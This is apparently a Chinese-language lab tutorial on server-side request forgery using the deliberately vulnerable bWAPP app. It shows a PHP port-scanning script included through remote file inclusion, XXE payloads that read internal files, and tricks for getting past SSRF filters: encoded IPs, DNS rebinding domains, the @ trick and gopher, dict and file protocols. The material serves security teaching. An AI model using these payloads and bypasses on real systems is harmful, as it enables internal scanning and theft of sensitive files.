漏洞简介

Server-Side Request Forgery即SSRF,又被称为服务端请求伪造。攻击者利用SSRF可使用漏洞服务器访问攻击者自身访问不到的数据(如内网其他服务器)。

SSRF可能造成内网扫描、敏感数据泄露等,属于影响较为严重的漏洞。

漏洞利用

我们以bWAPP中的SSRF模块为例

Alt text

在这上面有三种利用场景:

  1. 利用远程文件包含进行端口扫描
  2. 利用XXE进行文件读取
  3. 利用XXE对Samsung SmartTV做拒绝服务攻击

利用远程文件包含进行端口扫描

首先查看bWAPP给出的一段利用脚本:

<?php

/*

bWAPP, or a buggy web application, is a free and open source deliberately insecure web application.
It helps security enthusiasts, developers and students to discover and to prevent web vulnerabilities.
bWAPP covers all major known web vulnerabilities, including all risks from the OWASP Top 10 project!
It is for educational purposes only.

Enjoy!

Malik Mesellem
Twitter: @MME_IT

漏 2013 MME BVBA. All rights reserved.

*/

echo "<script>alert(\"U 4r3 0wn3d by MME!!!\");</script>";

if(isset($_REQUEST["ip"]))
{
    
    //list of port numbers to scan
    $ports = array(21, 22, 23, 25, 53, 80, 110, 1433, 3306);
    
    $results = array();
    
    foreach($ports as $port)
    {

        if($pf = @fsockopen($_REQUEST["ip"], $port, $err, $err_string, 1))
        {

            $results[$port] = true;
            fclose($pf);
            
        }
        
        else
        {

            $results[$port] = false;        

        }

    }
 
    foreach($results as $port=>$val)
    {

        $prot = getservbyport($port,"tcp");
        echo "Port $port ($prot): ";

        if($val)
        {

            echo "<span style=\"color:green\">OK</span><br/>";

        }

        else
        {

            echo "<span style=\"color:red\">Inaccessible</span><br/>";

        }

    }

}
?>

可以看出是对$_REQUEST["ip"]传入的ip进行端口扫描,该脚本所在的位置是:

http://192.168.177.132/evil/ssrf-1.txt

然后我们打开远程文件包含模块

Alt text

可以看到此时URL是:

http://192.168.177.132/bWAPP/rlfi.php?language=lang_en.php&action=go

然后我们利用它来包含之前的脚本文件,来扫描我的metasploitable2(192.168.177.134)

Alt text

可以看到成功扫描到了metasploitable2的端口

利用XXE进行文件读取

bWAPP给了两个XML数据:

# Accesses a file on the internal network (1)

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
 <!ENTITY bWAPP SYSTEM "http://localhost/bWAPP/robots.txt">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>


# Accesses a file on the internal network (2)
# Web pages returns some characters that break the XML schema > use the PHP base64 encoder filter to return an XML schema friendly version of the page!

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
 <!ENTITY bWAPP SYSTEM "php://filter/read=convert.base64-encode/resource=http://localhost/bWAPP/passwords/heroes.xml">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>

我们打开XXE模块,先尝试读取本地的robots.txt

Alt text

再利用php伪协议读取heroes.xml

Alt text

第三个任务由于没有对应的环境就不做演示了

利用姿势及绕过

一般防御SSRF时后端都会对URL进行过滤,这时我们就需要绕过后端的检测

编码绕过

我们可以将目标ip进行八进制或十六进制编码来绕过后端的检测,如ip:192.168.177.1

16进制:0xC0.0xA8.0xB1.1 或 0xC0A8B101

8进制:0300.0250.0261.1

10进制:3232280833

DNS解析

介绍一个神奇的网站:http://xip.io/,如果我们访问http://192.168.177.132.xip.io/,那么页面就会自动解析到http://192.168.177.132

那么我们有时候就可以将目标ip这样写,这样就会自动跳转了

利用@符号

http://test.com@192.168.177.132

这样就会直接访问192.168.177.132

利用各种协议

先看一下各语言可以使用的协议:

enter image description here

SSRF主要利用的就是gopherdictfile

gopher协议可以看这里

file协议不用多说,经常用来读取敏感文件:

Alt text

dict协议是允许客户在访问过程中使用更多的字典(?),这个还没有研究过

短地址

网上有各种压缩网址为短链接的网站,比如你可以把http://192.168.177.132变为 http://985.so/b36c,以此来绕过